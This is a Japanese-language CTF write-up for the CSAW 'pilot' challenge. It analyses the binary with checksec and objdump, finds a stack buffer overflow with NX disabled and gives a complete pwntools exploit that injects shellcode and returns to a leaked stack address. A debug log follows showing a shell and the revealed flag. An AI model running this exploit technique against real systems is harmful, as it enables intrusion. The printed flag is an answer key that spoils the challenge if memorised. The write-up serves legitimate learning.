PwnpilotCan I take your order?
nc pwn.chal.csaw.io 8464
16:05 Eastern: Updated binary
fileコマンドでダウンロードしたファイルのファイルタイプを確認してみます。64bitのLinux実行ファイルです。
$ file pilotpilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
checksecスクリプトでこの実行ファイルのセキュリティを確認します。canary無し、NX無効なのでスタックオーバーフローの脆弱性をついてシェルコードを埋め込むことができそうです。
$ checksec.sh --file pilotRELRO STACK CANARY NX PIE RPATH RUNPATH FILEPartial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH pilot
objdumpコマンドで逆アセンブルして詳細な処理を確認します。
400aa4~400aaeの部分でrbp-0x20の値を出力しています。この値はLocation:の後ろの部分に出力されます。400acf~400ae0の部分でユーザからの入力をバッファに読み込んでいます。読込先のアドレスはrbp-0x20で64バイト分読み込んでいます。ここでシェルコードを注入してバッファオーバーフローを起こし400b35のretでの戻り先に注入したシェルコードの先頭アドレスを設定できれば良さそうです。$ objdump -s -D pilot > aaa.txt
400a92: be 77 0d 40 00 mov $0x400d77,%esi #[*]Location:400a97: bf a0 20 60 00 mov $0x6020a0,%edi400a9c: e8 bf fd ff ff callq 400860 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>400aa1: 48 89 c2 mov %rax,%rdx400aa4: 48 8d 45 e0 lea -0x20(%rbp),%rax400aa8: 48 89 c6 mov %rax,%rsi400aab: 48 89 d7 mov %rdx,%rdi400aae: e8 bd fd ff ff callq 400870 <_ZNSolsEPKv@plt>400ab3: be 90 08 40 00 mov $0x400890,%esi400ab8: 48 89 c7 mov %rax,%rdi400abb: e8 c0 fd ff ff callq 400880 <_ZNSolsEPFRSoS_E@plt>400ac0: be 84 0d 40 00 mov $0x400d84,%esi #[*]Command:400ac5: bf a0 20 60 00 mov $0x6020a0,%edi400aca: e8 91 fd ff ff callq 400860 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>400acf: 48 8d 45 e0 lea -0x20(%rbp),%rax400ad3: ba 40 00 00 00 mov $0x40,%edx #読み込みサイズ(64バイト)400ad8: 48 89 c6 mov %rax,%rsi #読込先バッファ(rbp-0x20)400adb: bf 00 00 00 00 mov $0x0,%edi #ファイルディスクリプタ(0)400ae0: e8 3b fd ff ff callq 400820 <read@plt>(略)
400b2f: b8 00 00 00 00 mov $0x0,%eax400b34: c9 leaveq400b35: c3 retq
指示されたサーバに接続してみます。[*]Locatin:の後に出力されている16進数値が読み込み先のアドレスになります。
下図のようにスタックを上書きします。>nc.exe pwn.chal.csaw.io 8464[*]Welcome DropShip Pilot...[*]I am your assitant A.I....[*]I will be guiding you through the tutorial....[*]As a first step, lets learn how to land at the designated location....[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...[*]Good Luck Pilot!....[*]Location:0x7ffd160ba730[*]Command:
以上を踏まえて、Pythonでエクスプロイトコードを書きます。
#!/usr/bin/env python2from pwn import *import timeimport argparseparser = argparse.ArgumentParser()parser.add_argument('--local', action='store_true')args = parser.parse_args()context.log_level = 'debug'if args.local:p = process('./pilot')else:p = remote('pwn.chal.csaw.io', 8464)context(os='linux', arch='amd64')shellcode = asm(shellcraft.sh())p.recvuntil('[*]Good Luck Pilot!....\n')loc = p.recvline()print(loc)ary = loc.split(':')p.recvuntil('[*]Command:')p.send(''+ shellcode+ 'A' * (40 - len(shellcode))+ p64(int(ary[1], 0)))time.sleep(0.1)p.interactive()
実行すると次のとおりフラグを得ることができました。
$ python aaa.py(略)
[DEBUG] Received 0x174 bytes:'[*]Welcome DropShip Pilot...\n''[*]I am your assitant A.I....\n''[*]I will be guiding you through the tutorial....\n''[*]As a first step, lets learn how to land at the designated location....\n''[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...\n''[*]Good Luck Pilot!....\n''[*]Location:0x7ffd45748a50\n''[*]Command:'[*]Location:0x7ffd45748a50[DEBUG] Sent 0x30 bytes:00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 │jhH·│/bin│///s│PH··│00000010 31 f6 6a 3b 58 99 0f 05 41 41 41 41 41 41 41 41 │1·j;│X···│AAAA│AAAA│00000020 41 41 41 41 41 41 41 41 50 8a 74 45 fd 7f 00 00 │AAAA│AAAA│P·tE│····│00000030[*] Switching to interactive mode$ ls[DEBUG] Sent 0x3 bytes:'ls\n'[DEBUG] Received 0xb bytes:'flag\n''pilot\n'flagpilot$ cat flag[DEBUG] Sent 0x9 bytes:'cat flag\n'[DEBUG] Received 0x31 bytes:'flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}\n'flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}
フラグは、
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}